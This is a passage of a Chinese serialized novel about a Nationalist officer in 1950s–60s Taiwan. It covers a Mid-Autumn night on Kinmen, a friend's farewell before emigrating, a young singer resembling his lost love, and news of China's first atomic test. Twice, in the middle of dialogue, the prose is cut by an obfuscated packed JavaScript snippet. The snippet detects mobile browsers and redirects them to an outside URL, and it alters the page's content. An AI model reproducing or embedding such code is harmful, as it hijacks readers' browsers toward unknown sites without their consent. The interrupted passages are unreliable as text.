三年前韩战爆发,让某些人一度看到了希望。美国第七舰队进入台湾海峡、第十三航空队进驻了台湾后,国军多次派兵攻击闽浙沿海,但大多以失败告终;仅有一次南日岛占了些便宜,但也就是三天。数月前的反攻东山岛,名为完成任务成功转移,但知情人都知道国军败了且败得很惨,据说约3300多人没能回来。在朝鲜半岛,中国人民志愿军居然和美国为首的联合国军打了个平手!七月份停火协定的签订,标志着抗美援朝取得伟大的胜利,不仅打破了美国不败的神话,还大大提提升了国际威望。 明白人都知道,海峡对岸早已非吴下阿蒙,再加上苏联的支持,假以时日,海空军发展起来,说不定哪天醒来,睁眼就是红旗四处飘扬。国府好些人一直想促成一个美台共同防务协定,对此我是不置可否。美国人协防,不过是为了守住岛链、不想失去这个不沉的基地而已,美国人怎么可能支持国军反攻大陆? 中国人的事情,还是自己解决为好;台湾,迟早还是要回归大陆的。 我不知道别人是怎么想的,我自是对当下前景有些悲观。我不知道有生之年是否还有机会回到大陆,估计很难,很难。 败退之后,二哥带着母亲到了美国和三哥一家团聚,大姐一家去了香港,如今只剩下我一人在台湾。我还是舍不得离开,我一直期望有一天,能跨过那窄窄的海峡。 这么多年过去了,芸儿还时常会入我梦来。 那日小城最后一别,常会在夜深人静之时在我眼前一一浮现,让我颇为揪心,总觉得哪儿不对,却说不出来。我甚至想那天是不是看错了?可是那一幕一幕却是真真存在的,那人分明是我的芸儿,且不说那一家子关系亲密,那小女孩眉眼分明像芸儿,只是芸儿不敢认我!说看错了,这不是自欺欺人么? 我因此时常笑自己太傻,只要掰指一算,我来台湾都六年了,芸儿的大儿子应该上小学了吧?我还守在这台岛干嘛?还不时找机会去闽浙沿海的岛屿,特别是金门,这个离大陆最近的小岛? 我知道,我还是忘不了芸儿,不过是想离芸儿近一些罢了。 当晚中秋的酒宴,不少人很尽兴,有些人很不开心。 月色如水,静静地晒在这小小的岛上。 我和三位较为熟悉的军官,拿着小酒,寻一地小坐。 望着远处灯火通明的莒光楼,还有近处一片银白空旷的海滩,听着那海浪一遍遍的冲刷,我们几个人的心情渐渐有些沉重起来。 “之秋,听说你填词甚好,何不趁这月色正好,填上一阙?” “填词?我想想,今日中秋,海边望月,听大浪淘沙,就来《浪淘沙》吧。” 我站了起来,一杯酒下肚,不知怎的,眼里就有了芸儿的影子,在这中秋的夜晚,芸儿是否和家人一起望月呢? 我趁着酒兴,边走边吟起来:“明月照高楼,望我神州。故园无声人消瘦。且把相思寄广寒,问君知否?往事难回首,欲罢还休。寂寥银滩冷清秋。长空万里雁去也,人在天涯。” 我又是一杯酒下肚,便觉得气氛不对。回头一看,一位兀自在那默默流泪,一位呆呆的坐着,抬头看着天上的圆月;一位端着酒杯,却怎么也送不到口中,自顾自的说着,声音越来越大:“回不去了,回不去了!说什么毋忘在莒,一场梦啊!”把酒一口而尽,又听“啪”的一声,把酒杯砸在地上。 那位呆坐的似乎才清醒过来,满脸苦笑着说:“想不到呀,想不到呀,之秋,你也是有故事之人。”然后也跟着一杯酒下肚,踉踉跄跄走了过来,一把搂着我说:“醉了醉了,都回去睡觉,睡觉。” 月光下,他的泪水不自觉的流了下来,不对,我也是。 我回到驻地后,久久难以入眠。嗨,我也真是的。时常告诉自己不要想,可是怎么又想了呢? 我索性坐了起来,一个人看着那月亮。 那月宫里,可有嫦娥?可有玉兔?她们今晚是否也是孤寂看着人间的万家灯火?看着人世间的悲欢离合?嫦娥会想她的后羿吗? 我忽然想起汉人所作的《古艳歌》来:茕茕白兔,东走西顾,衣不如新,人不如故。我这海峡这头想着芸儿,海峡那头的芸儿会想起我么? 我不知道。芸儿还是不想我为好...... 十月三日,我回到了台北。 回到宿舍后,收起门缝下的报纸和信件,居然有一封是张薇来信。 拆开一看,说是知我外出月初回来;若有空,期望能在六日前见上一面。 张薇一家也是败退后来台的。她那算是我在台北为数不多可以周末去蹭饭的地方,只是自从年前张薇父母和她弟弟去了美国后,有好些日子没去了。 说六日前见上一面?张薇这是有什么好事吗?还是她终于要嫁人了? 若是那样,这倒是件可喜可贺的事情。我这位“哥们”也老大不小了,有个归属自是最好。不过来台这几年,没听说啥呀?这保密工作不错嘛。 打电话去医院,电话那头张薇好开心,约我次日去她家里吃晚饭。 次日正好是周日,我特地买了一束黄玫瑰过去。 说实在的,张薇的厨艺挺不错,尤其是那川味牛肉面,可以说是我的最爱;只不过我对他们家的餐厅不太满意,虽然是改造后的日式房子,前后都有院子,环境不错,但餐厅却是榻榻米。张薇却说那是日本人学我们的,早在先秦两汉甚至更早,我们老祖宗吃饭不都是席地而坐?还有一个好处,喝多了随时可以躺下,省事多了,对此我只能是无奈。 张薇家在厦门街,离新店溪不远,附近有大陆老兵开的豆浆店,生意挺好。 到了饭点过去,张薇照例先给我来个大大拥抱,然后再把黄玫瑰接过去,边插瓶边说花儿漂亮,再把我带进了餐厅,让我稍等片刻,马上就好。 我才盘腿坐下,就注意桌上只有两副碗筷,餐桌中间花瓶插着些芒花,应该是去年十一月和她一起去阳明山时摘的。 这和我想的不一样啊,晚餐就我们两个? 张薇很快的把菜端上来了。一条清蒸鱼,一碟炸河虾,一碟青炒四季豆,一个韭黄炒蛋,汤是海带排骨,酒是花雕,主食自是我最爱的川味牛肉面。 张薇笑着把酒给我满上了,然后举起杯笑着说:“之秋,走一个。” 我笑着和她碰了杯,一饮而尽。 张薇笑着往我碗里夹菜,“快尝尝,味道如何?” “薇薇,这厨艺见长啊。” “好吃就要多吃,今晚可要尽量消灭的,不许剩下哦。” “可是薇薇你弄了这么多菜,就我们两个人?” “就我们两人呀,你别看桌上好多菜,可量都不多,我是按两人的份量安排的,你别忘了,我是医生呀,不会让你吃撑的。” “那也是,薇薇你这菜做得真好。” “别看都是家常菜,这可是我特意为你准备的哦,之秋你再尝尝这个河虾,这是我新学的,味道如何?”张薇一脸的期待。 我这才注意到,她今晚一身米黄的连衣裙,还化了淡妆,灯光下甚是动人。 “味道真好。薇薇,你今晚好漂亮。我想想,上回在这蹭饭还是去年和伯父一起喝酒来着,今晚请我吃饭,你这是有什么好事吧?” 张薇眼里闪过什么,只是一下就没了。 她举起酒杯,又和我干了一杯,就把话题岔开他去。“亏你还记得,你也是好几个月没来了。你这回去金门,有啥见闻说说,听说那儿可以看见大陆?” “那就是一个前线加兵营,天气好的时候不用望远镜就可以看见厦门。” “这么近呀?难怪你常找机会去的。” 我苦笑着回道:“最近地方连2公里都不到。没想到这窄窄的海峡,竟然是天底下最远最宽的鸿沟。” 张薇听了不由得用手摸摸眼角,动情的说:“不知要到什么时候,才能回去。不说这个了,之秋,我们喝酒,吃菜。” 晚饭后收拾完毕,我们两坐在院子里泡茶,留声机放着肖邦的钢琴曲。 “薇薇,你这茶不错呀,可是文山包种茶?” “之秋真行呀!这个你也知道?” “这不比你早几年来台北么?好歹也结识几位福建过来的朋友,没事一起泡茶来着,聊聊彼此的故乡,也算是一种乡愁吧。” “乡愁?也是的。我们这些人,都有无尽的乡愁。之秋,还记得广州那个大院吗?小时候我们一起玩的。” “记得,记得。那时候我们六个男生一起玩的,记得其他还有几个女生自己一个小圈子玩,女生中唯有你一个,偏偏要和我们一起玩。” “我也不知怎么就喜欢和你们男生一起玩。记得那时候我们两个最小,对人,之秋,有件事情挺让人纳闷的:怎么每回玩娶新娘的时候都轮到你呢?” “还不是你哥......不好意思,薇薇,让你想起伤心事了。” 张薇用手摸了一下眼角,“没事的,之秋。都过去这么多年了;可惜当初一起起玩的,就剩下我们两个人了。” “是呀,要是没有那场战争,该有多好。我还曾好几次还梦见和他们一起玩来着,特别是抗战胜利哪几天。” “我也是的。有时候就想,要是大家都在,该有多好。” “可以把小时候玩的游戏再来一遍。”我忽然发现自己似乎说错什么了。 张薇听了笑着说:“你是想起过家家啦?想得美!对了之秋,和你说个事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650145|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “哦,什么事呀?”我笑着回应,心说今晚终于进入主题了。 张薇却眼见的犹豫起来,良久,才冒出一句:“之秋,我要离开台北了。” “哦?去哪儿?基隆,台中,还是高雄?”我心想着原来那位不在台北? 张薇却站了起来走到一边,抬头去看着有些阴沉的夜空,貌似努力不想让泪水流下来的样子。 我心里咯噔一下,张薇这是?我不由自主的站起来,走了过去。 张薇见我过来,挤出一个笑容,眼里分明有晶莹的泪花在闪动。 “之秋,我要去美国了,七号的船票,去旧金山。” 去美国?张薇这是去探亲吗?不对呀,难道是?我一下子有些懵了。 张薇看出我的疑惑,又挤出了两个字:“移民。” “薇薇,你这是?什么时候决定的?” 张薇深深吸了一口气,转过头来微笑着说:“我爸妈催了好久了,三月底定下来,后边走流程什么的,爸妈那儿出了不少力,上周才获批的。” 我一时说不出话来,心里颇有些难受。我所挚爱的,我所熟悉的,难道都要隔这么远么? 张薇似有些不忍,扑在我的怀里,紧紧的抱着我。 “之秋,对不起啊,我原本也是想留在台北的,我也想,也想陪着你。” 我这才反应过来,拍了拍张薇的肩膀,勉强笑着说:“没事的。薇薇,要恭喜你了。只是这消息一下来得太突然了,我起初还以为---” “还以为我要嫁人啦?就没想到我要移民?不过也是,要移民应该去年就全家人一起走了,怎么现在才来呢?” “薇薇,你怎么知道我这样想的?” “谁让我是你的哥们呢?” 张薇抬起头看了我一眼,又把头埋在我的胸口。“之秋,让我好好的抱着你,好吗?以后就是想抱抱哥们,估计也没有机会了。” 我听了不由得鼻子一酸,终于紧紧抱住了她,她却在我怀里小声哭了起来。 没多久,张薇开口了:“之秋,和你说个事,你听了别生气呀。” “没事,薇薇,想说什么就说吧。” “之秋,我曾多次想过,我们之间会不会有那么一天,我真的成为了你的新娘。直到梦芸出现后,我才知道,有一个人比我更爱着你;看她为你痴,为你傻,为你哭,为你狂,特别是看她不远千里万里去寻你,我才知道,她才是你的良人,你们才是天造地设的一对。” 张薇再度抬起了头,幽幽的看着我说:“之秋,知道吗,那些日子我曾放弃了,可是听说你孤身来台后,那希望又在我心中燃起,可来台后看你一次一次的往闽浙沿海跑,我知道,是我想多了。” 我听了心里一阵难过,原来张薇这么多年来一直独身,竟然是为了等我! “薇薇,对不起,之秋愧对你了。” “说哪儿去了?是我不好,谁让我平时大大咧咧呢?让你老是把我当成哥们,可是之秋,我是真的喜欢你。” 张薇不再说话,深情看了我一眼,闭上了眼睛。 我看着怀里的张薇,顿时心乱如麻。我该怎么办?该怎么办?理智告诉我,吻上去是最好的。可是我忽然想起那一日,那一帧帧画面,就如同放电影一般: 芸儿直直的站着,看见我回了头,脸上露出了期盼的神情,然后急急的向前走了几步,见车子依旧未停;她一手抱紧了孩子,一手便捂住了嘴,脚下却是一个踉跄,险些跌倒...... 我心里装着芸儿,可这海峡何时才能跨过去?再说芸儿不是嫁人了?不是有孩子了?我这痴痴傻傻的在海峡这头,又是何苦呢? 我觉得心里一阵难受,泪水就涌了出来;那一吻,终究还是没亲下去。 张薇睁开了眼,见我流泪了,慌忙帮我擦拭。 “之秋,对不起,对不起,我不该让你做选择的。” 我听了一时有些崩溃的感觉,不知该说什么,再度紧紧的抱着张薇。末了,在张薇额头上深深亲了一下,心里说着:薇薇,对不起了。你的一番深情,之秋此生无颜面对了,若有来世,再续前缘吧。 张薇笑了,作出一副如释重负的样子。“好啦好啦,之秋,你不祝贺我这哥们去美国吗?来来来,咱们以茶代酒,再走一个。” 那天晚上,我都不知道我是怎么走回宿舍的。 两天后我站在码头上,看着那远去的轮船,祝福之余,居然暗骂了自己一句:林之秋,你真混蛋! 民国四十三年十一月,行政院国军退除役官兵就业辅导委员会成立,为退役官兵(荣民)提供服务。不久后,我退役到了那里。 民国四十五年七月七日,横贯台湾中央山脉、连接东西海岸的中横公路开工建设,一万多荣民投入工程建设中。因地势险峻,几乎全靠人力建设,在付出巨大的代价和牺牲后,于四十九年五月九日顺利通车。 25.南投偶遇 民国五十年二月,位于南投县仁爱乡的见晴农场开始建设。 到了夏天的时候,我有机会下来走走,权当考察吧。 当初修建中横公路经过南投,我也来过几次。对于这个新建农场,我自是抱很大希望,希望能像退辅会下其他农场一样,成为荣民兄弟们新的安生之地。从另一个层面上讲,为了中横公路建设,二百多兄弟魂断群山,把沿路建设好,让更多荣民扎下根,也是对先行者最好的祭奠。 到了荣民服务处,见了李科长,才知情况并不理想。听李科长说荣民倒是上山了一批。也就是每人发了二十几棵果树苗,但真要开花结果需要时间,一些荣民索性就在田畦间先种蔬菜,这也是没有办法的事情,毕竟谁也不知未来会怎样,只是可惜了那绝美好风景了。 说到风景,我心头一动,随口说道:“有时我也想寻一地去,如若世外桃源之地最好,将来可以养老。” 李科长听了便笑着说:“都说林副处长有魏晋之风,原来是真的!您这一说这倒让我觉得见晴农场就很合适。” “哦?这个怎么说?” “我来南投也数年了,见晴农场这地儿真的不错,时常云雾飘渺的,尤其是早晚,早间那日出可算是奇景,若是遇到云海,那叫一个美!天气晴好之时,还可远眺合欢山!若是到了冬日,那山顶有积雪的,夕阳西下,晚霞缤纷,那合欢山的雪便罩上一层金光了。林副处长若想学陶渊明,或是王摩羯,那真的可以一试!” 我听了便有些神往了:“李科长还真当之秋要学古人隐居呀,无非是为退休后找个清净点儿的落脚地,台北那人太多,太吵闹了。” “林副处长是烦了台北吧?同是大陆过来的,我这想去还没机会呢。” “李科长若是有那个心思,好好努力一把,或许有机会的。” 我听了便安慰一番,心头却道这儿的人都说台北好,可有多少人知道这会不会是一个钱先生笔下的《围城》? “那就托林副处长吉言了,届时若有机会,能劳烦林副处长提点提点,鄙人自是感激不尽的。”李科长满脸堆笑着,“对了,林副处长晚间可有安排?” “这个倒是没有,全凭李科长安排便是。” 对于这些所谓安排,我早就没什么感觉了,无非就是喝酒、听歌或是跳舞,一般还会叫上几位歌女或舞女,还美其名曰与民同乐;若不去便是不合群,甚至会被说高高在上或让属下没面子之类的。我以往都是去露个脸,喝上几杯就借酒量不济开溜。 李科长看出我有些不喜,忙解释说:“我们这新开了一个俱乐部,和其他地方的茶室、乐园不一样的,至少明面上没有那些什么特殊服务项目,毕竟里头服务员什么的都是荣民家属,算是为她们谋出路吧。晚间请林副处长过去看看,这一呢,也是请检查一下我们的工作;二呢是顺便放松一下,还能多听听乡音,毕竟驻唱的歌女都是大陆过来的,唱歌都是用国语的。” 既然这样说了,那就去吧。 到了那儿,找了一个角落里的包厢坐下,只见舞池内人头攒动,音乐靡靡,灯影摇曳。昏暗的舞台上,一位身穿蓝色连衣裙的女子,如歌如泣的唱着:“望穿秋水,不见伊人的倩影;更残漏尽,孤雁两三声。往日的温情,只换得眼前的凄情。梦魂无所寄,空有泪满襟。几时归来呦?伊人呦,几时你会穿过那边的丛林?那亭亭的塔影,点点的鸦阵,依旧是当年的情景......” 那歌唱的真不错,尤其是那歌词,不由让我有些感慨了,往那台上看去,那身影居然有些熟悉?一曲歌唱罢,舞台灯亮了,下边是一片掌声。 我终于看清那位女子,身材不高,大约十七八岁的样子,梳着马尾辫,一脸清纯,应该是刚出社会的学生吧,再一细看,那略方的脸,长长的眉毛,还有眉眼间那淡淡的忧愁,怎么这么眼熟? 我的心不由一阵狂跳起来。 这是芸儿?我告诉自己,不是,不是的。年龄差多了。可她,怎么会长得和芸儿如此相似? 台上灯光又暗了下来,伴随着轻快的乐曲声,那年轻女子又唱上了:“玫瑰玫瑰最娇美,玫瑰玫瑰最艳丽,长夏开在枝头上,玫瑰玫瑰我爱你。玫瑰玫瑰情意重,玫瑰玫瑰情意浓,长夏开在荆棘里......” 舞池内再度热闹起来。 我依然坐着没动,有几位舞小姐过来,也被我推掉了。 我目不转睛的看着台上的女子,渐渐的眼角润湿起来。世间怎会有如此相似的女子?这是上苍可怜之秋,特意送来的么?可是,这不是我的芸儿! 我不由得又想起了芸儿,又想起小城那最后一面的场景。 小城一别,已是十五年了。你还好吗?过得开心吗?两个孩子可好?这几年大陆自然灾害,对你们生活有影响吗.......芸儿,真想看到你现在的样子啊,哪怕看一眼也好。忽然又想到若是芸儿的女儿,现在的年龄该和台上的那位差不多吧?难道是芸儿一家也来台了?这倒是有这个可能。我依稀记得,芸儿说过她兄长曾在省府里做事的,此后还西撤武汉。大溃败时前前后后据说从大陆来台有200多万人,难道芸儿一家也在其中? 想到这个可能,我忽然有些激动起来。这些年来我所期盼的,不是能再见上一面?哪怕远远见着都好? 可若真是芸儿一家来台,我真的能去见吗?还是不见的好?不对,如果这位真是芸儿的女儿,她怎么会来这里唱歌?难道是芸儿来台后过得不好么?我七想八想着,心思越来越乱了。 正乱想着,俱乐部经理带着那位女子过来了。 “疏影,这位是荣民服务处的李科长。李科长,敢问这位是.......” “这位是从台北过来的,退辅会的林副处长!” “原来是林副处长!久仰,久仰!”那位经理一口闽南腔,立刻笑容满面迎上来握手,然后便转过头去责备那女子:“疏影,怎么这样不懂事?还不赶快给两位贵客敬酒?” 原来她叫疏影!真是好名字!就不知姓什么?老家在哪里?我正想问起,却见疏影颇有些为难的样子,小声的说着:“郑经理,我只是来唱歌的。” 郑经理急忙劝道:“我给你讲啦,出来就要混社会的,你来这里唱歌,就要让客人开心,客人不开心,你歌唱得好有什么用呢?” 疏影眼泪都快掉下来:“郑经理,不好这样的,我是真的不会喝酒。再说,再说,这要是让姆妈知道,会被骂死的。” 那郑经理有些急了:“骂一下不会死人,赚不到钱才会死人啦!来来来,赶紧给两位长官敬酒啦。” 我有些看不下去了,挥了挥手便说:“郑经理,这里不是什么茶室,更不是军中乐园,就别难为这位小妹妹了。她歌唱的挺好,我们今晚过来也就是放松放松,听听歌而已。” “对对对!”李科长附和着说:“郑经理,你就先去忙吧,让这位小妹妹陪我们聊聊天就行了。” 那郑经理先是瞪了一眼疏影,然后满脸堆笑的说:“好好好,那我就不打搅几位了,服务不周,服务不周!我这边自罚一杯啊!” 待那位郑经理走后,李科长开了一瓶汽水递了过去,和颜悦色的问道:“小妹妹,你是哪里人呀?今年多大了?来这里唱歌多久啦?” 疏影接过汽水,抓在手上却没有喝,有些怯生的抬起了头,小声说道:“我是苏州人,今年十七了,来这里唱歌才两天的。” 17岁?年龄貌似对上了。苏州?芸儿那位是苏州人么? 我正乱想着,李科长又问上了:“苏州好地方呀。我也是江苏过来的,松江人。小妹妹,侬名字好听嘞!侬姓什么呀?名字是怎么写的呀?唱了好几首歌,口渴了吧?这是美国汽水,味道不错的。” 疏影低着头,抿了一小口汽水,小声的说:“我姓沈,名叫沈-疏-影。疏是稀疏的疏,影是影子的影。” 我听了心说这莫非是出自宋人的诗?随口吟出:“疏影横斜水清浅,暗香浮动月黄昏。” 疏影听了有些惊喜的抬起了头,眼睛大大的问:“倷知道这首诗?” “这是宋初名士林通的《山园小梅》,这林通蛮有名的,朱熹说他是国朝三百年间第一人。”我忽然又想到了什么,再次问道:“沈小姐,你父亲用此诗给你取名,他是喜欢梅花呢,还是你母亲名字里有梅呢?你母亲可是江浙一带人氏?” 说实在的,我如此一问,其实是冲着她是否和芸儿有关系去的,若是她母亲名字里真有梅字,那就不是了。 疏影更惊奇了:“倷连这也知道?姆妈姓梅,是南京人。” 我听了一时竟然有些如释重负的感觉,这应该不是芸儿的家人。再细细一看,这疏影和芸儿虽然挺相似,但鼻子和嘴角还是颇有不同,若不细看,还真以为是同一人呢,然后心里自顾自的笑了,明明不是一家人,怎么就让我想到芸儿的孩子去呢? 我忽然又有些神伤,这么多年,我还是忘不了芸儿呀! 一旁的李科长自顾笑着说:“早就听说林副处长有才子美称,尤爱古诗词,今日一见,果然名不虚传呀。” “李科长说笑了,之秋都年过五旬了,怎敢冒称才子呀。对了,沈小姐,你们家是什么时候来台湾的,你怎么会来这里唱歌呢?” 疏影眼圈就红了,低下了头,兀自拨弄着手里的汽水。 这应该是有故事了,我正待要问,李科长已抢先问了:“沈小姐,林副处长是退辅会的,我们服务处归他管的,都是从大陆过来的,侬不要太见外好啦?有什么困难就直接说出来,我们听了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650146|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许能帮上忙?” 我点了点头便说:“退辅会是为荣民服务的,我只是在里头做事而已,当然一些小忙还是可以帮的。你父母呢?” 疏影听了终于忍不住,嘤嘤的哭了。 从她的哭诉中得知,他们一家是民国三十八年来台的,来台时住在台中眷村。沈先生原先在飞机制造厂做事,后因体弱多病于去年病故,欠下不少债;好不容易把债还完,便是家徒四壁了。梅女士只好带着一儿一女投奔家在南投的远房表妹,却不得待见,生活便没得着落。疏影弟弟还要读书,母女两只好四下找活,因不会讲闽南话,时常碰壁,更不用说没啥技能了。迫不得已之下,疏影想起在学校里学过一些歌,还常被人夸说唱得不错,就来俱乐部驻唱;而那位郑经理就是疏影的表姑丈。 我们听完,也不胜嘘嘘了。同是天涯沦落人啊! 我们这些外来人不被所谓本省人待见,这早已不是秘密。本省人中大约有60%多的讲闽南话,20%多的讲客家话,还有10%的人是原住民,语言不通是个大问题。我们这些从大陆过来的,不少人一旦退役成为荣民后短期内真的无法溶入社会;行政院这才搞了退辅会,修公路,建农场,也就是想为这些老兵和其军属们谋个出路,但还是力所不逮。 我不由生出恻隐之心,转头就问:“李科长,沈小姐一家,可否设法照顾一二?如农场方面,有没有什么适合或力所能及的工作?都是从大陆过来的。” “林副处长,这个没问题。沈小姐一家是荣民家属么。沈小姐,侬回去和姆妈说说,其他的不好说,但是维持一个温饱还是可以的。若是愿意,这两天随时可以过来找我的,我给侬留个电话。” 疏影擦了擦眼泪,满怀感激的说:“谢谢,谢谢林副处长!谢谢李科长!可是,可是我和姆妈好多都不会,我现在也只会唱些歌,农场能要我们吗?” 李科长笑了:“不会可以慢慢学,会唱歌也是个本事嘛。” 我也笑了,这得鼓劲呀。“在俱乐部唱唱歌也是不错的,来钱快,也好补贴家用。只要沈小姐能守住初心,我们可以和俱乐部说说,关照一些。” “真的?”疏影眼里就有些惊喜了。 “李科长,你待会儿和俱乐部方面打个招呼,就说沈小姐是我林某人故友的女儿,请他们多多关照,这么清纯的好姑娘,别给带坏了!特别要和那位郑经理好好说说!” 疏影激动得一时不知说什么好了:“这个,这个,林副处长,我和姆妈,还有我弟,真不知该如何感谢你们......” 我见了有些不忍,就把话题岔开他去:“疏影客气了,都是大陆过来的,自然是要互相帮忙。李科长,我在台北时候就听说你们这儿是雾上桃源,过几年我退了,我就来你们农场,过过神仙般的生活,顺便也可常听听沈小姐的歌声。不知两位是否欢迎啊?” “欢迎欢迎!林副处长这是给我们农场长脸了,别等退了,您有空就常来,这儿不是还有一位您故友的女儿吗?” “这样啊,倒是要常来。沈小姐,以后我们就直接叫你疏影了,那你见了我们两位,该叫什么呢?可不许叫什么什么长哦!” 疏影很快的就反应过来,朝我们两位认真的鞠了一躬。 “林伯伯,李伯伯!” “哈哈哈!这就对了嘛。” 我们三人笑成一团,疏影拿起汽水,我们端上酒杯,开心的喝上了。 后面我也不知喝了多少酒,这或许是来台这十多年来最开心的一晚。 晚间回到酒店,酒醒之余,我又不由得想起芸儿。 芸儿,我这个没儿没女之人,今天被一个酷似你的人称为伯伯了。 芸儿,我这是对还是错呢?那位疏影,和你实在是太像了,我怎么还告诉她我退下来后会来此地定居? 我这是在干什么?我是在寻一个影子,来缓解我的相思之苦么? 芸儿啊芸儿,这些年你还好吗? 都这么多年了,我常在梦里见到你,梦见你也在等着之秋! 梦见和你一起四下散步,梦见和你一起谈诗说词;梦见你脸色红红,梦见你笑容盈盈;梦见你又打长途电话,梦见你我深情相依;梦见你门前持灯,翘首以盼,梦见你雨中惆怅,泪洒青衫...... 然后每每醒来,便笑自己,怎么会一直守着一个毫无希望的事,我这是怎么了?是太傻,还是太痴? 孔夫子曾说:“气如兰兮长不改,心若兰兮终不移。” 这说的是我么?痴情如此,也就是了。 芸儿,原谅之秋吧!你早已身为人妇,是之秋不对,之秋不该再想你的。可是之秋始终忘不了你呀! 之秋只能在海峡这头,期盼你一切安好,如意,也只能如此了。 26.姐弟重逢 民国五十三年十月十七日,香港九龙。 一早我就被一阵急切的叫醒声吵醒。 “之秋,好消息,好消息!快起来!” 前一天我乘船来香港参加姐夫七十岁的寿辰,由于大姐三个子女均已成家在外,姐姐姐夫便让我住在家里;晚间一时高兴喝了不少酒,加上旅途劳累,这会儿还是睡意阑珊。 “姐,什么事呀?这才几点?小弟还想多睡一会儿呢。” 大姐拉开了窗帘,指着不远处有些繁忙的维多利亚湾笑着说:“呦,都五十多的人啦,还像小时候一样。看看,看看,这天都大亮了,太阳都可以晒屁股喽!快起来!有好消息告诉你!” 看着大姐那熟悉的笑容,那熟悉的声音,几十年前大姐不正是这样叫我的?我忽然有种梦回广州的感觉,心里顿时便一阵温暖。 “姐,什么好消息呀?是正雄升处长,还是正清评上副教授啦?”我想起昨天外甥兄妹酒席上的话,听说希望都不小,该不会一早就成真了吧? 大姐听了笑着摇了摇头,“都不是!阿姐这先卖一个关子。你呀梳洗一下,我和你姐夫在餐厅等你,吃早餐时再告诉你!” 好吧,一早起来就有悬念。 等我一切弄好到了餐厅,就发现气氛不对:姐夫脸色微红,有些兴奋的来回踱步,不时还振臂一挥,大姐坐在一旁笑咪咪的看着他;餐桌上除了那些早点外,居然还有一瓶白酒!还有昨晚吃剩的卤料! 不会吧?姐夫从什么时候开始一早起来喝酒呢?岁数大了,这可不好! 姐夫见我出来,便颇为激动的上来和我握手,一握之下,这力量不错呀! 我正想着是什么事情让姐夫如此高兴呢,姐夫就大声的说:“原子弹,原子弹!我们中国爆炸了第一颗原子弹!” 什么?原子弹?中国爆炸了第一颗原子弹?! 不知怎的,我眼里就润湿了! “姐夫,这是真的? 什么时候?” “真的,看报!看早报!看这里,转载《人民日报》的号外:一九□□年十月十六日十五时,中国爆炸了一颗原子弹,成功地进行了第一次核试验。这是中国人民在加强国防力量、反对美帝国主义核讹诈和核威胁政策的斗争中所取得的重大成就......” 我有些吃惊的把那早报看了两遍,泪水终于忍不住的奔涌而出,口中喃喃的说着:“有了原子弹,中国从此就不怕美国,不怕苏联,什么八国联军,小日本侵华,再也不会发生了!” 姐夫听了先是一愣,再上上下下把我从头到脚的打量一遍,然后不住的点头称赞:“好好好!之秋!你是好样的!我还以为--” “还以为小弟会担心,会害怕?不会的!小弟不是那样的人,家父在世之时,始终教育我们姐弟以民族大义为重。小弟属虽不同阵营,但孰轻孰重还是掂的清的。有了原子弹,中华民族才真正有了底气,再把经济民生搞上去,中国才真正有机会重回世界大国之林,才有机会重现汉唐盛世!” “真的?之秋你能这么想,不简单呀!如此说来,我们当喝三杯!” 大姐笑着就把白酒拧开,先给姐夫满上了。 “长河,先别说三杯了,这个赌你输啦,自罚一杯!” “好好好!”姐夫端起酒盅一饮而尽,“痛快呀,痛快!” 他见我有些不解,便有些不好意思的笑着说:“你姐和我打了个赌,说之秋你一听到这个消息多半会激动或赞赏有加的,没想到是真的!之华,你怎会这么有把握呢?” “长河你是不知,抗战时之秋曾经重伤,还是被中共方面救的。” “哦,还有这事?” “这事只有极少数人知道,不信你问之秋。” 姐夫看我点了点头,有些疑惑的问道:“之秋,有件事我一直想不明白,47年,也就是民国三十六年,那会内战正酣,你怎么突然就去了台湾呢?” “小弟不想打内战,陈叔那时是副局,他为了保护我,就安排了。” 说着说着,我又想起那一年,想起芸儿了。 “所以......之秋,你相信大陆?相信他们?” 姐夫看我又点了点头,笑着对大姐说:“我明白了,这叫什么来着?” “知弟莫如姐!长河,早上你得总量控制,只许再喝两杯。”大姐笑着也给我满上了,“之秋,阿姐今天高兴,也和你喝上一杯!” “那我作陪。”姐夫笑着抿了一口,自顾自说着:“激动啊,怎能不让人激动呢?大陆是昨晚10点出的号外,可惜昨天有些劳累,那个点已睡下了,要不昨晚就该知道了。早间起来买早点,看大家抢报纸,急忙一问,才知大陆爆炸了第一原子弹!之秋,你可知此后我看到了什么?” “他这是说了第四回啦!”大姐听了笑着对我说,“你姐夫一回来就说遇到的所有街坊邻居都喜气洋洋的,人人的脸上都藏不住激动!你姐夫还说他今早遇到那些英国阿sir,第一次挺直腰杆从他们身旁直接走过!” “这是真的?”我有些好奇了。 “是真的!”姐夫笑着端起了酒杯对我示意,抿了一口后深情的说:“我们这些海外的华人,天天盼着祖国的强大,祖国越强大,我们日子越好过!” 姐夫说着说着,不禁潸然泪下。 大姐见了急忙把手绢递了过去,回过头来对我说:“你姐夫这是激动的,上回见他这么激动还是十来年前韩战签《停战协定》的时候。” 姐夫擦擦眼泪,激动的说:“还有一次,半年前我们回了一趟大陆。跨入国门那一刻,姐夫我是老泪纵横啊。” “你们回过大陆?”我是一声惊呼,“姐,怎么没见您信件里说?” “阿姐这不是当心给你带来不必要的麻烦么,怎好在信里说?” “姐,姐夫,你们是怎么回去的?你们,你们以前不都是?” 我可是有些按捺不住了。 